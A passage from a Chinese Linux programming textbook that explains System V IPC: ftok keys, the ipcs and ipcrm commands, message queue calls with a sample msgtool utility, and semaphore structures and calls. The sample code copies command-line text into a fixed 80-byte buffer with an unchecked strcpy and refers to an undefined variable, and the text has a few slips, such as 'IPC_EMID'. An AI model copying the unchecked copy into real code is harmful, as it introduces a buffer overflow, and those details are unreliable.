5.如果进程以超级用户特权竞争资源的话,第二种方法就无效。 6.当辅助锁为另一进程占有时,需要锁的进程便不知何时能再检测一下,在我们的例 子中是等待 1 秒钟。理想的情况是锁释放时应通知需要锁的进程。 7.占有锁的进程可以不解锁便终止。 4.6 System V IPC AT&T 在 UNIX System V 中引入了几种新的进程通讯方式,即消息队列(Message Queues),信号量(semaphores)和共享内存(shared memory),统称为 System V IPC。在 Linux 系统编程中,它们有着广泛的应用。 System V IPC 的一个显著的特点,是它的具体实例在内核中是以对象的形式出现的, 第四章 进程间通信 - 85 - 我们称之为 IPC 对象。每个 IPC 对象在系统内核中都有一个唯一的标识符。通过标识符内 核可以正确的引用指定的 IPC 对象.。需要注意的是,标识符的唯一性只在每一类的 IPC 对 象内成立。比如说,一个消息队列和一个信号量的标识符可能是相同的,但绝对不会出现 两个有相同标识符的消息队列。 标识符只在内核中使用,IPC 对象在程序中是通过关键字(key)来访问的。和 IPC 对 象标识符一样,关键字也必须是唯一的。而且,要访问同一个 IPC 对象,Server 和 Client 必须使用同一个关键字。因此,如何构造新的关键字使之不和已有的关键字冲突,并保证 Server 和 Client 使用的关键字是相同的,是建立 IPC 对象时首先要解决的一个问题。 通常,我们使用系统函数 ftok()来生成关键字。 库函数: ftok(); 函数声明: key_t ftok ( char *pathname, char proj ); 返回值: new IPC key value if successful -1 if unsuccessful errno set to return of stat() call ftok()函数通过混合 pathname 所指文件的 inode 和 minor device 值以及 proj 的值来产生 关键字。这样并不能完全保证关键字的唯一性,不过程序可以检测关键字的冲突并通过更 换 pathname 和 proj 的组合来产生新的关键字。下面是一段使用 ftok 的代码: key_t mykey; mykey = ftok("/tmp/myapp", 'a'); 在这段代码中,ftok 函数混合文件/tmp/myapp 和字符 a 来产生关键字 mykey。下面是 更常用的一段代码: key_t mykey; mykey = ftok(".", 'a'); 只要我们保证 server 和 client 从同一个目录运行,我们就可以保证它们使用上面的代 码产生的关键字是相同的。 获得了关键字以后,就可以通过它来建立或引用具体 IPC 对象了。 在我们进入到具体的 IPC 对象前,先看看几个和 System V IPC 有关的命令行指令: 4.6.1 ipcs 命令 ipcs 命令在终端显示系统内核的 IPC 对象状况。 ipcs –q 只显示消息队列 ipcs –m 只显示共享内存 ipcs –s 只显示信号量 下面是在某个 Linux 系统上使用 ipcs 命令的显示情况: [roy@bbs ~]$ ipcs ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000a0a 644 roy 600 1024 2 0x00000af8 775 roy 600 1024 2 ------ Semaphore Arrays -------- key semid owner perms nsems status - 86 - Linux网络编程 ------ Message Queues -------- key msqid owner perms used-bytes messages [roy@bbs ~]$ ipcs -s ------ Semaphore Arrays -------- key semid owner perms nsems status [roy@bbs ~]$ ipcs -q ------ Message Queues -------- key msqid owner perms used-bytes messages [roy@bbs ~]$ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000a0a 644 roy 600 1024 2 0x00000af8 775 roy 600 1024 2 4.6.2 ipcrm 命令 使用 ipcrm 命令强制系统删除已存在的 IPC 对象。 它的命令格式如下: ipcrm <msg | sem | shm> <IPC ID> ipcrm 后面的参数指定要删除的 IPC 对象类型,分别为消息队列(msg)、信号量(sem) 和共享内存(shm)。然后需要给出要删除对象的标识符。标识符可以通过 ipcs 命令来取得。 通过正确的使用以上的两个命令可以帮助我们有效的解决 IPC 对象使用中的问题。 在下面的章节中我们将开始讲述具体的每一种 IPC 对象。 4.7 消息队列(Message Queues) 顾名思义,消息队列就是在系统内核中保存的一个用来保存消息的队列。但这个队列 并不是简单的进行“ 先入先出” 的操作,我们可以控制消息用更为灵活的方式流动。 4.7.1 有关的数据结构 在介绍消息队列的使用前,让我们先熟悉一下在后面会碰到的几个和消息队列有关的 数据结构: 1.ipc_perm 系统使用 ipc_perm 结构来保存每个 IPC 对象权限信息。在 Linux 的库文件 linux/ipc.h 中,它是这样定义的: struct ipc_perm 第四章 进程间通信 - 87 - { key_t key; ushort uid; /* owner euid and egid */ ushort gid; ushort cuid; /* creator euid and egid */ ushort cgid; ushort mode; /* access modes see mode flags below */ ushort seq; /* slot usage sequence number */ }; 结构里的前几个成员的含义是明显的,分别是 IPC 对象的关键字,uid 和 gid。然后是 IPC 对象的创建者的 uid 和 gid。接下来的是 IPC 对象的存取权限。最后一个成员也许有点 难于理解,不过不要担心,这是系统保存的 IPC 对象的使用频率信息,我们完全可以不去 理会它。 2.msgbuf 消息队列最大的灵活性在于,我们可以自己定义传递给队列的消息的数据类型的。不 过这个类型并不是随便定义的,msgbuf 结构给了我们一个这类数据类型的基本结构定义。 在 Linux 的系统库 linux/msg.h 中,它是这样定义的: /* message buffer for msgsnd and msgrcv calls */ struct msgbuf { long mtype; /* type of message */ char mtext[1]; /* message text */ }; 它有两个成员: mtype 是一个正的长整型量,通过它来区分不同的消息数据类型。 mtext 是消息数据的内容。 通过设定 mtype 值,我们可以进行单个消息队列的多向通讯。如下图,client 可以给它 向 server 发送的信息赋于一个特定的 mtype 值,而 server 向 client 的信息则用另一个 mtype 值来标志。这样,通过 mtype 值就可以区分这两向不同的数据。 利用相同的原理,可以实现更复杂的例子。 需要注意的是,虽然消息的内容 mtext 在 msgbuf 中只是一个字符数组,但事实上,在 我们定义的结构中,和它对应的部分可以是任意的数据类型,甚至是多个数据类型的集合。 比如我们可以定义这样的一个消息类型: struct my_msgbuf { long mtype; /* Message type */ long request_id; /* Request identifier */ struct client info; /* Client information structure */ }; 在这里,与 mtext 对应的是两个数据类型,其中一个还是 struct 类型。由此可见消息队 列在传送消息上的灵活性。 不过,虽然没有类型上的限制,但 Linux 系统还是对消息类型的最大长度做出了限制。 在 Linux 的库文件 linux/msg.h 中定义了每个 msgbuf 结构的最大长度: #define MSGMAX 4056 /* <= 4056 */ /* max size of message (bytes) */ 也即是说,包括 mtype 所占用的 4 个字节,每个 msgbuf 结构最多只能只能占用 4056 字节的空间 - 88 - Linux网络编程 3.msg 消息队列在系统内核中是以消息链表的形式出现的。而完成消息链表每个节点结构定 义的就是 msg 结构。它在 Linux 的系统库 linux/msg.h 中的定义是这样的: /* one msg structure for each message */ struct msg { struct msg *msg_next; /* next message on queue */ long msg_type; char *msg_spot; /* message text address */ time_t msg_stime; /* msgsnd time */ short msg_ts; /* message text size */ }; msg_next 成员是指向消息链表中下一个节点的指针,依靠它对整个消息链表进行访问。 msg_type 和 msgbuf 中 mtype 成员的意义是一样的。 msg_spot 成员指针指出了消息内容(就是 msgbuf 结构中的 mtext)在内存中的位置。 msg_ts 成员指出了消息内容的长度。 4.msgqid_ds msgqid_ds 结构被系统内核用来保存消息队列对象有关数据。内核中存在的每个消息 队列对象系统都保存一个 msgqid_ds 结构的数据存放该对象的各种信息。在 Linux 的库文 件 linux/msg.h 中,它的定义是这样的: /* one msqid structure for each queue on the system */ struct msqid_ds { struct ipc_perm msg_perm; struct msg *msg_first; /* first message on queue */ struct msg *msg_last; /* last message in queue */ __kernel_time_t msg_stime; /* last msgsnd time */ __kernel_time_t msg_rtime; /* last msgrcv time */ __kernel_time_t msg_ctime; /* last change time */ struct wait_queue *wwait; struct wait_queue *rwait; unsigned short msg_cbytes; /* current number of bytes on queue */ unsigned short msg_qnum; /* number of messages in queue */ unsigned short msg_qbytes; /* max number of bytes on queue */ __kernel_ipc_pid_t msg_lspid; /* pid of last msgsnd */ __kernel_ipc_pid_t msg_lrpid; /* last receive pid */ }; 其中, msg_perm 成员保存了消息队列的存取权限以及其他一些信息(见上面关于 ipc_perm 结构的介绍)。 msg_first 成员指针保存了消息队列(链表)中第一个成员的地址。 msg_last 成员指针保存了消息队列中最后一个成员的地址。 msg_stime 成员保存了最近一次队列接受消息的时间。 msg_rtime 成员保存了最近一次从队列中取出消息的时间。 msg_ctime 成员保存了最近一次队列发生改动的时间(见后面的章节)。 第四章 进程间通信 - 89 - wwait 和 rwait 是指向系统内部等待队列的指针。 msg_cbytes 成员保存着队列总共占用内存的字节数。 msg_qnum 成员保存着队列里保存的消息数目。 msg_qbytes 成员保存着队列所占用内存的最大字节数。 msg_lspid 成员保存着最近一次向队列发送消息的进程的 pid。 msg_lrpid 成员保存着最近一次从队列中取出消息的进程的 pid。 4.7.2 有关的函数 介绍完了有关的结构之后,我们来看看处理消息队列所用到的函数: 1.msgget() msgget()函数被用来创建新的消息队列或获取已有的消息队列。其函数定义如下: 系统调用: msgget() 函数声明: int msgget ( key_t key, int msgflg ) 返回值: message queue identifier on success -1 on error: errno = EACCESS (permission denied) EEXIST (Queue exists, cannot create) EIDRM (Queue is marked for deletion) ENOENT (Queue does not exist) ENOMEM (Not enough memory to create queue) ENOSPC (Maximum queue limit exceeded) msgget()函数的第一个参数是消息队列对象的关键字(key),函数将它与已有的消息队 列对象的关键字进行比较来判断消息队列对象是否已经创建。而函数进行的具体操作是由 第二个参数,msgflg 控制的。它可以取下面的几个值: IPC_CREAT : 如果消息队列对象不存在,则创建之,否则则进行打开操作; IPC_EXCL: 和 IPC_CREAT 一起使用(用”|”连接),如果消息对象不存在则创建之,否则产生一个 错误并返回。 如果单独使用 IPC_CREAT 标志,msgget()函数要么返回一个已经存在的消息队列对象 的标识符,要么返回一个新建立的消息队列对象的标识符。如果将 IPC_CREAT 和 IPC_EXCL 标志一起使用,msgget()将返回一个新建的消息对象的标识符,或者返回-1 如果消息队列 对象已存在。IPC_EXCL 标志本身并没有太大的意义,但和 IPC_CREAT 标志一起使用可 以用来保证所得的消息队列对象是新创建的而不是打开的已有的对象。 除了以上的两个标志以外,在 msgflg 标志中还可以有存取权限控制符。这种控制符的 意义和文件系统中的权限控制符是类似的。 最后,我们将使用 msgget()函数建立一个更加简便的封装函数来作为本节的例子: int open_queue( key_t keyval ) { int qid; if((qid = msgget( keyval, IPC_CREAT | 0660 )) == -1) { return(-1); } - 90 - Linux网络编程 return(qid); } 这个简单的例子中唯一需要注意的一点就是在 msgflg 中加入了存取权限控制符 0660。 其余的部分请读者自行分析。 2.msgsnd() 从函数名就可以看出,msgsnd()函数是用来向消息队列发送消息的。在 linux/msg.h 它 的函数定义是这样的: 系统调用: msgsnd() 函数声明: int msgsnd ( int msqid, struct msgbuf *msgp, int msgsz, int msgflg ) 返回值: 0 on success -1 on error: errno = EAGAIN (queue is full, and IPC_NOWAIT was asserted) EACCES (permission denied, no write permission) EFAULT (msgp address isn't accessable – invalid) EIDRM (The message queue has been removed) EINTR (Received a signal while waiting to write) EINVAL (Invalid message queue identifier, nonpositive message type, or invalid message size) ENOMEM (Not enough memory to copy message buffer) 传给 msgsnd()函数的第一个参数 msqid 是消息队列对象的标识符(由 msgget()函数得 到),第二个参数 msgp 指向要发送的消息所在的内存,第三个参数 msgsz 是要发送信息的 长度(字节数),可以用以下的公式计算: msgsz = sizeof(struct mymsgbuf) - sizeof(long); 第四个参数是控制函数行为的标志,可以取以下的值: 0,忽略标志位; IPC_NOWAIT,如果消息队列已满,消息将不被写入队列,控制权返回调用函数的线 程。如果不指定这个参数,线程将被阻塞直到消息被可以被写入。 这里我们将创建一个封装函数来演示 msgsnd()函数的使用: int send_message( int qid, struct mymsgbuf *qbuf ) { int result, length; /* The length is essentially the size of the structure minus sizeof(mtype) */ length = sizeof(struct mymsgbuf) - sizeof(long); if((result = msgsnd( qid, qbuf, length, 0)) == -1) { return(-1); } return(result); } 利用这节和上节中我们创建的两个函数,我们已经可以写出一个很简单的消息发送程 序: main() { int qid; key_t msgkey; struct mymsgbuf { long mtype; /* Message type */ 第四章 进程间通信 - 91 - int request; /* Work request number */ double salary; /* Employee's salary */ } msg; /* Generate our IPC key value */ msgkey = ftok(".", 'm'); /* Open/create the queue */ if(( qid = open_queue( msgkey)) == -1) { perror("open_queue"); exit(1); } /* Load up the message with arbitrary test data */ msg.mtype = 1; /* Message type must be a positive number! */ msg.request = 1; /* Data element #1 */ msg.salary = 1000.00; /* Data element #2 (my yearly salary!) */ /* Bombs away! */ if((send_message( qid, &msg )) == -1) { perror("send_message"); exit(1); } } 在程序中我们首先使用 ftok 函数产生关键字,再调用我们的封装函数 open_queue()得 到消息队列的标识符。最后再用 send_message()函数将消息发送到消息队列中。 3.msgrcv() 和 msgsnd()函数对应,msgrcv()函数被用来从消息队列中取出消息。它在 linux/msg.h 中的定义是这样的: 系统调用: msgrcv() 函数声明: int msgrcv ( int msqid, struct msgbuf *msgp, int msgsz, long mtype, int msgflg ) 返回值: Number of bytes copied into message buffer -1 on error: errno = E2BIG (Message length is greater than msgsz, no MSG_NOERROR) EACCES (No read permission) EFAULT (Address pointed to by msgp is invalid) EIDRM (Queue was removed during retrieval) EINTR (Interrupted by arriving signal) EINVAL (msgqid invalid, or msgsz less than 0) ENOMSG (IPC_NOWAIT asserted, and no message exists in the queue to satisfy the request) 函数的前三个参数和 msgsnd()函数中对应的参数的含义是相同的。第四个参数 mtype - 92 - Linux网络编程 指定了函数从队列中所取的消息的类型。函数将从队列中搜索类型与之匹配的消息并将之 返回。不过这里有一个例外。如果 mtype 的值是零的话,函数将不做类型检查而自动返回 队列中的最旧的消息。 第五个参数依然是是控制函数行为的标志,取值可以是: 0,表示忽略; IPC_NOWAIT,如果消息队列为空,则返回一个 ENOMSG,并将控制权交回调用函数 的进程。如果不指定这个参数,那么进程将被阻塞直到函数可以从队列中得到符合条件的 消息为止。如果一个 client 正在等待消息的时候队列被删除,EIDRM 就会被返回。如果进 程在阻塞等待过程中收到了系统的中断信号,EINTR 就会被返回。 MSG_NOERROR,如果函数取得的消息长度大于 msgsz,将只返回 msgsz 长度的信息, 剩下的部分被丢弃了。如果不指定这个参数,E2BIG 将被返回,而消息则留在队列中不被 取出。 当消息从队列内取出后,相应的消息就从队列中删除了。 和上节一样,我们将开发一个 msgrcv()的封装函数 read_message(): int read_message( int qid, long type, struct mymsgbuf *qbuf ) { int result, length; /* The length is essentially the size of the structure minus sizeof(mtype) */ length = sizeof(struct mymsgbuf) - sizeof(long); if((result = msgrcv( qid, qbuf, length, type, 0)) == -1) { return(-1); } return(result); } 利用上面提到的 msgrcv()对消息长度的处理,我们可以使用下面的方法来检查队列内 是存在符合条件的信息: int peek_message( int qid, long type ) { int result, length; if((result = msgrcv( qid, NULL, 0, type, IPC_NOWAIT)) == -1) { if(errno == E2BIG) return(TRUE); } return(FALSE); } 这里我们将 msgp 和 msgsz 分别设为 NULL 和零。然后检查函数的返回值,如果是 E2BIG 则说明存在符合指定类型的消息。一个要注意的地方是 IPC_NOWAIT 的使用,它防止了阻 第四章 进程间通信 - 93 - 塞的发生。 4.msgctl() 通过 msgctl()函数,我们可以直接控制消息队列的行为。它在系统库 linux/msg.h 中的 定义是这样的: 系统调用: msgctl() 函数声明: int msgctl ( int msgqid, int cmd, struct msqid_ds *buf ) 返回值: 0 on success -1 on error: errno = EACCES (No read permission and cmd is IPC_STAT) EFAULT (Address pointed to by buf is invalid with IPC_SET and IPC_STAT commands) EIDRM (Queue was removed during retrieval) EINVAL (msgqid invalid, or msgsz less than 0) EPERM (IPC_SET or IPC_RMID command was issued, but calling process does not have write (alter) access to the queue) 函数的第一个参数 msgqid 是消息队列对象的标识符。 第二个参数是函数要对消息队列进行的操作,它可以是: IPC_STAT 取出系统保存的消息队列的 msqid_ds 数据,并将其存入参数 buf 指向的 msqid_ds 结构 中。 IPC_SET 设定消息队列的 msqid_ds 数据中的 msg_perm 成员。设定的值由 buf 指向的 msqid_ds 结构给出。 IPC_EMID 将队列从系统内核中删除。 这三个命令的功能都是明显的,所以就不多解释了。唯一需要强调的是在 IPC_STAT 命令中队列的 msqid_ds 数据中唯一能被设定的只有 msg_perm 成员,其是 ipc_perm 类型的 数据。而 ipc_perm 中能被修改的只有 mode,pid 和 uid 成员。其他的都是只能由系统来设定 的。 最后我们将使用 msgctl()函数来开发几个封装函数作为本节的例子: IPC_STAT 的例子: int get_queue_ds( int qid, struct msgqid_ds *qbuf ) { if( msgctl( qid, IPC_STAT, qbuf) == -1) { return(-1); } return(0); } IPC_SET 的例子: int change_queue_mode( int qid, char *mode ) { struct msqid_ds tmpbuf; /* Retrieve a current copy of the internal data structure */ get_queue_ds( qid, &tmpbuf); - 94 - Linux网络编程 /* Change the permissions using an old trick */ sscanf(mode, "%ho", &tmpbuf.msg_perm.mode); /* Update the internal data structure */ if( msgctl( qid, IPC_SET, &tmpbuf) == -1) { return(-1); } return(0); } IPC_RMID 的例子: int remove_queue( int qid ) { if( msgctl( qid, IPC_RMID, 0) == -1) { return(-1); } return(0); } 4.7.3 消息队列实例——msgtool,一个交互式的消息队列使用工具 没有人能够拒绝现成的准确技术信息所提供的迅捷与方便。这些材料为我们学习和探 索新的领域提供了了非常好的机制。同样,将技术信息应用于现实的领域中也能大大的加 快我们学习的过程。 直到目前,我们所接触的有关消息队列的实例只有几个简单的封装函数。虽然它们也 很有用,但是还不够深入。因此,我们下面将提供一个将消息队列应用于实际的例子—— 命令行程序 msgtool。使用它我们可以在命令行上提供消息队列的功能。 1.背景知识 msgtool 工具通过命令行参数来决定它的行为,这样它可以被方便的应用于 shell 脚本 中。msgtool 提供了和消息队列有关的全部功能,包括创建、删除、更改消息队列以及收发 消息等。不过,我们提供的这个版本只接收字符数组类型的数据,接收其它类型数据的功 能请读者自行完成。 2.msgtool 的命令行语法 发送消息: msgtool s (type) "text" 取得消息: msgtool r (type) 修改权限: msgtool m (mode) 删除消息队列: msgtool d 3.msgtool 使用的例子 第四章 进程间通信 - 95 - msgtool s 1 test msgtool s 5 test msgtool s 1 "This is a test" msgtool r 1 msgtool d msgtool m 660 4.msgtool 的源码 下面是 msgtool 程序的源码。它必须在一个支持 System V IPC 的 Linux 内核上编译。 请在编译前确认您所使用的内核在编译时打开了“ 支持 System V IPC” 选项。 顺便说一句,msgtool 在执行任何命令时,只要消息队列不存在,它就自动创建一个。 注意:由于在 msgtool 中使用 ftok()来创建关键字,所以如果你在执行 msgtool 的 shell 脚本中改变了工作目录,msgtool 有可能不会工作。这个问题请读者自行解决。 #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #define MAX_SEND_SIZE 80 struct mymsgbuf { long mtype; char mtext[MAX_SEND_SIZE]; }; void send_message(int qid, struct mymsgbuf *qbuf, long type, char *text); void read_message(int qid, struct mymsgbuf *qbuf, long type); void remove_queue(int qid); void change_queue_mode(int qid, char *mode); void usage(void); int main(int argc, char *argv[]) { key_t key; int msgqueue_id; struct mymsgbuf qbuf; if(argc == 1) usage(); /* Create unique key via call to ftok() */ key = ftok(".", 'm'); - 96 - Linux网络编程 /* Open the queue - create if necessary */ if((msgqueue_id = msgget(key, IPC_CREAT|0660)) == -1) { perror("msgget"); exit(1); } switch(tolower(argv[1][0])) { case 's': send_message(msgqueue_id, (struct mymsgbuf *)&qbuf, atol(argv[2]), argv[3]); break; case 'r': read_message(msgqueue_id, &qbuf, atol(argv[2])); break; case 'd': remove_queue(msgqueue_id); break; case 'm': change_queue_mode(msgqueue_id, argv[2]); break; default: usage(); } return(0); } void send_message(int qid, struct mymsgbuf *qbuf, long type, char *text) { /* Send a message to the queue */ printf("Sending a message ...\n"); qbuf->mtype = type; strcpy(qbuf->mtext, text); if((msgsnd(qid, (struct msgbuf *)qbuf, strlen(qbuf->mtext)+1, 0)) ==-1) { perror("msgsnd"); exit(1); } } void read_message(int qid, struct mymsgbuf *qbuf, long type) { /* Read a message from the queue */ printf("Reading a message ...\n"); qbuf->mtype = type; msgrcv(qid, (struct msgbuf *)qbuf, MAX_SEND_SIZE, type, 0); 第四章 进程间通信 - 97 - printf("Type: %ld Text: %s\n", qbuf->mtype, qbuf->mtext); } void remove_queue(int qid) { /* Remove the queue */ msgctl(qid, IPC_RMID, 0); } void change_queue_mode(int qid, char *mode) { struct msqid_ds myqueue_ds; /* Get current info */ msgctl(qid, IPC_STAT, &myqueue_ds); /* Convert and load the mode */ sscanf(mode, "%ho", &myqueue_ds.msg_perm.mode); /* Update the mode */ msgctl(qid, IPC_SET, &myqueue_ds); } void usage(void) { fprintf(stderr, "msgtool - A utility for tinkering with msg queues\n"); fprintf(stderr, "\nUSAGE: msgtool (s)end <type> <messagetext>\n"); fprintf(stderr, " (r)ecv <type>\n"); fprintf(stderr, " (d)elete\n"); fprintf(stderr, " (m)ode <octal mode>\n"); exit(1); } 4.8 信号量(Semaphores) 信号量简单的说就是用来控制多个进程对共享资源使用的计数器。它经常被用作一种 锁定保护机制,当某个进程在对资源进行操作时阻止其它进程对该资源的访问。需要注意 的是,System V 中的信号量对象实际上是信号量的集合(set),它可以包含多个信号量, 控制多个共享资源。 - 98 - Linux网络编程 4.8.1 有关的数据结构 和消息队列一样,我们在介绍它的使用前将首先介绍一些有关的数据结构: 1.sem 前面提到,信号量对象实际是多个信号量的集合。在 Linux 系统中,这种集合是以数 组的形式实现的。数组的每个成员都是一个单独的信号量,它们在系统中是以 sem 结构的 形式储存的。Sem 结构在 Linux 系统库 linux/sem.h 中的定义是这样的: /* One semaphore structure for each semaphore in the system. */ struct sem { short sempid; /* pid of last operation */ ushort semval; /* current value */ ushort semncnt; /* num procs awaiting increase in semval */ ushort semzcnt; /* num procs awaiting semval = 0 */ }; 其中, sem_pid 成员保存了最近一次操作信号量的进程的 pid 。 sem_semval 成员保存着信号量的计数值。 sem_semncnt 成员保存着等待使用资源的进程数目。 sem_semzcnt 成员保存等待资源完全空闲的的进程数目。 2.semun semun 联合在 senctl()函数中使用,提供 senctl()操作所需要的信息。它在 Linux 系统 linux/sem.h 中的定义是这样的: /* arg for semctl system calls. */ union semun { int val; /* value for SETVAL */ struct semid_ds *buf; /* buffer for IPC_STAT & IPC_SET */ ushort *array; /* array for GETALL & SETALL */ struct seminfo *__buf; /* buffer for IPC_INFO */ void *__pad; }; 前三个参数在对 senctl()函数介绍中会讲到,这里暂时先不管它们。后两个参数是 Linux 系统所独有的,只在系统的内核中使用,我们就不多介绍了。 3.sembuf sembuf 结构被 semop()函数(后面回讲到)用来定义对信号量对象的基本操作。它在 linux/sem.h 中是这样定义的: /* semop system calls takes an array of these. */ struct sembuf { unsigned short sem_num; /* semaphore index in array */ short sem_op; /* semaphore operation */ short sem_flg; /* operation flags */ }; 其中, sem_num 成员为接受操作的信号量在信号量数组中的序号(数组下标)。 sem_op 成员定义了进行的操作(可以是正、负和零)。 第四章 进程间通信 - 99 - sem_flg 是控制操作行为的标志。 如果 sem_op 是负值,就从指定的信号量中减去相应的值。这对应着获取信号量所监 控的资源的操作。如果没有在 sem_flg 指定 IPC_NOWAIT 标志,那么,如果现有的信号量 数值小于 sem_op 的绝对值(表示现有的资源少于要获取的资源),调用 semop()函数的进 程就回被阻塞直到信号量的数值大于 sem_op 的绝对值(表示有足够的资源被释放)。 如果 sem_op 是正值,就在指定的信号量中加上相应的值。这对应着释放信号量所监 控的资源的操作。 如果 sem_op 是零,那么调用 semop()函数的进程就会被阻塞直到对应的信号量值为零。 这种操作的实质就是等待信号量所监控的资源被全部使用。利用这种操作可以动态监控资 源的使用并调整资源的分配,避免不必要的等待。 4.semid_qs 和 msgqid_ds 类似,semid_qs 结构被系统用来储存每个信号量对象的有关信息。它在 Linux 系统库 linux/sem.h 中是这样定义的: /* One semid data structure for each set of semaphores in the system. */ struct semid_ds { struct ipc_perm sem_perm; /* permissions .. see ipc.h */ __kernel_time_t sem_otime; /* last semop time */ __kernel_time_t sem_ctime; /* last change time */ struct sem *sem_base; /* ptr to first semaphore in array */ struct sem_queue *sem_pending; /* pending operations to be processed */ struct sem_queue **sem_pending_last; /* last pending operation */ struct sem_undo *undo; /* undo requests on this array * / unsigned short sem_nsems; /* no. of semaphores in array */ }; 其中, sem_perm 成员保存了信号量对象的存取权限以及其他一些信息(见上面关于 ipc_perm 结构的介绍)。 sem_otime 成员保存了最近一次 semop()操作的时间。 sem_ctime 成员保存了信号量对象最近一次改动发生的时间。 sem_base 指针保存着信号量数组的起始地址。 sem_pending 指针保存着还没有进行的操作。 sem_pending_last 指针保存着最后一个还没有进行的操作。 sem_undo 成员保存了 undo 请求的数目。 sem_nsems 成员保存了信号量数组的成员数目。 4.8.2 有关的函数 介绍完有关的数据结构,接下来我们将介绍使用信号量要用到的函数: 1.semget() 使用 semget()函数来建立新的信号量对象或者获取已有对象的标识符。它在 linux/sem.h 中的函数声明是这样的: 系统调用: semget() 函数声明: int semget ( key_t key, int nsems, int semflg); - 100 - Linux网络编程 返回值: semaphore set IPC identifier on success -1 on error: errno = EACCESS (permission denied) EEXIST (set exists, cannot create (IPC_EXCL)) EIDRM (set is marked for deletion) ENOENT (set does not exist, no IPC_CREAT was used) ENOMEM (Not enough memory to create new set) ENOSPC (Maximum set limit exceeded) 函数接受三个参数。其中第一个参数 key 和第三个参数 semflg 和前面讲过的 msgget() 函数中的两个参数是对应的,作用和取值的意义也相同,读者可以参看 msgget()的有关介 绍。函数的第二个参数 nsems 是信号量对象所特有的,它指定了新生成的信号量对象中信 号量的数目,也就是信号量数组成员的个数。在 linux/sem.h 定义了它的上限: #define SEMMSL 32 /* <= 512 max num of semaphores per id */ 如果函数执行的是打开而不是创建操作,则这个参数被忽略。 下面我们将创建一个封装函数作为本节例子: int open_semaphore_set( key_t keyval, int numsems ) { int sid; if ( ! numsems ) return(-1); if((sid = semget( mykey, numsems, IPC_CREAT | 0660 )) == -1) { return(-1); } return(sid); } 程序的分析请读者自行完成。 2.semop() 使用这个函数来改变信号量对象中各个信号量的状态。它在 Linux 系统库 linux/sem.h 中的函数声明如下: 系统调用: semop() 函数声明: int semop ( int semid, struct sembuf *sops, unsigned nsops); 返回值: 0 on success (all operations performed) -1 on error: errno = E2BIG (nsops greater than max number of ops allowed atomically) EACCESS (permission denied) EAGAIN (IPC_NOWAIT asserted, operation could not go through) EFAULT (invalid address pointed to by sops argument) EIDRM (semaphore set was removed) EINTR (Signal received while sleeping) EINVAL (set doesn't exist, or semid is invalid) ENOMEM (SEM_UNDO asserted, not enough memory to create the undo structure necessary) ERANGE (semaphore value out of range) 函数的第一个参数 semid 是要操作的信号量对象的标识符。第二个参数 sops 是 sembuf 的数组,它定义了 semop()函数所要进行的操作序列。第三个参数 nsops 保存着 sops 数组 的长度,也即 semop()函数将进行的操作个数。 第四章 进程间通信 - 101 - 在前面对 sembuf 结构的介绍中我们已经介绍了 semop()的各种基本操作。下面我们将 结合例子对这些操作作进一步的介绍。首先假设我们已经通过 semget()函数得到了一个只 包含一个信号量的信号量对象,它监控着某台最多能处理 10 份作业的打印机的使用。我们 下面的操作都将是只针对这个信号量的。 假设我们要向打印机交付一份作业。可以定义下面的 sembuf 变量来完成这个操作: struct sembuf sem_get = { 0, -1, IPC_NOWAIT }; 它告诉系统,将信号量对象中序号为零的信号量(第一个信号量)减一。IPC_NOWAIT 标志的定义告诉系统,如果打印机的作业量(10 份)已满,则不阻塞进程而是直接将控制 权返回进程并返回失败信息。 定义完操作后,我们使用下面的代码来执行它: if((semop(sid, &sem_get, 1) == -1) perror("semop"); 作业打印完成后,我们使用下面的 sembuf 变量来定义一个释放资源的操作: struct sembuf sem_release= { 0, 1, IPC_NOWAIT }; 它告诉系统将信号量对象中序号为零的对象加一。 然后用下面的代码来完成这个操作: semop(sid,&sem_release,1); 这样,我们就完成了一个完整的作业打印操作。 3.semctl()函数 和消息队列的 msgctl()函数类似,semctl()函数被用来直接对信号量对象进行控制。它 在 linux/sem.h 中的函数声明如下: 系统调用: semctl() 函数声明: int semctl ( int semid, int semnum, int cmd, union semun arg ); 返回值: positive integer on success -1 on error: errno = EACCESS (permission denied) EFAULT (invalid address pointed to by arg argument) EIDRM (semaphore set was removed) EINVAL (set doesn't exist, or semid is invalid) EPERM (EUID has no privileges for cmd in arg) ERANGE (semaphore value out of range) 比较一下这两个函数的参数我们回发现一些细微的差别。首先,因为信号量对象事实 上是多个信息量的集合而非单一的个体,所以在进行操作时,不仅需要指定对象的标识符, 还需要用信号量在集合中的序号来指定具体的信号量个体。 两个函数都有cmd参数,指定了函数进行的具体操作。不过,和msgctl()函数相比,semctl() 函数可以进行的操作要多得多: IPC_STAT 取得信号量对象的 semid_ds 结构信息,并将其储存在 arg 参数中 buf 指针 所指内存中返回。 IPC_SET 用 arg 参数中 buf 的数据来设定信号量对象的的 semid_ds 结构信息。和消 息队列对象一样,能被这个函数设定的只有少数几个参数。 IPC_RMID 从内存中删除信号量对象。 GETALL 取得信号量对象中所有信号量的值,并储存在 arg 参数中的 array 数组中返 回。 GETNCNT 返回正在等待使用某个信号量所控制的资源的进程数目。 GETPID 返回最近一个对某个信号量调用 semop()函数的进程的 pid。 GETVAL 返回对象那某个信号量的数值。 GETZCNT 返回正在等待某个信号量所控制资源被全部使用的进程数目。 - 102 - Linux网络编程 SETALL 用 arg 参数中 array 数组的值来设定对象内各个信号量的值。 SETVAL 用 arg 参数中 val 成员的值来设定对象内某个信号量的值。 函数的第四个参数 arg 提供了操作所需要的其它信息。它的各个成员的意义在前面已 经有过介绍,这里不再赘述。需要强调的是它和 msgctl()中的参数不一样,是一个普通的 变量而不是指针,初学者常常在这个问题上犯错误。 下面举几个使用 semctl()的例子。 int get_sem_val( int sid, int semnum ) { return( semctl(sid, semnum, GETVAL, 0)); } 上面的代码返回信号量对象中某个信号量的值。注意这里 semctl()函数的最后一个参数 取的是零,这是因为执行 GETVAL 命令时这个参数被自动忽略了。 void init_semaphore( int sid, int semnum, int initval) { union semun semopts; semopts.val = initval; semctl( sid, semnum, SETVAL, semopts); } 上面的代码用 initval参数来设定信号量对象中某个信号量的值。 最后用一个例子来强调一个极易被忽视的错误。 在消息队列和信号量对象中,都有 IPC_STAT 和 IPC_SET 的操作。但是由于传递参数 的类型不同,造成了它们在使用上的差别。在 msgctl()函数中,IPC_STAT 操作只是简单的 将内核内 msgqid_ds 结构的地址赋予 buf 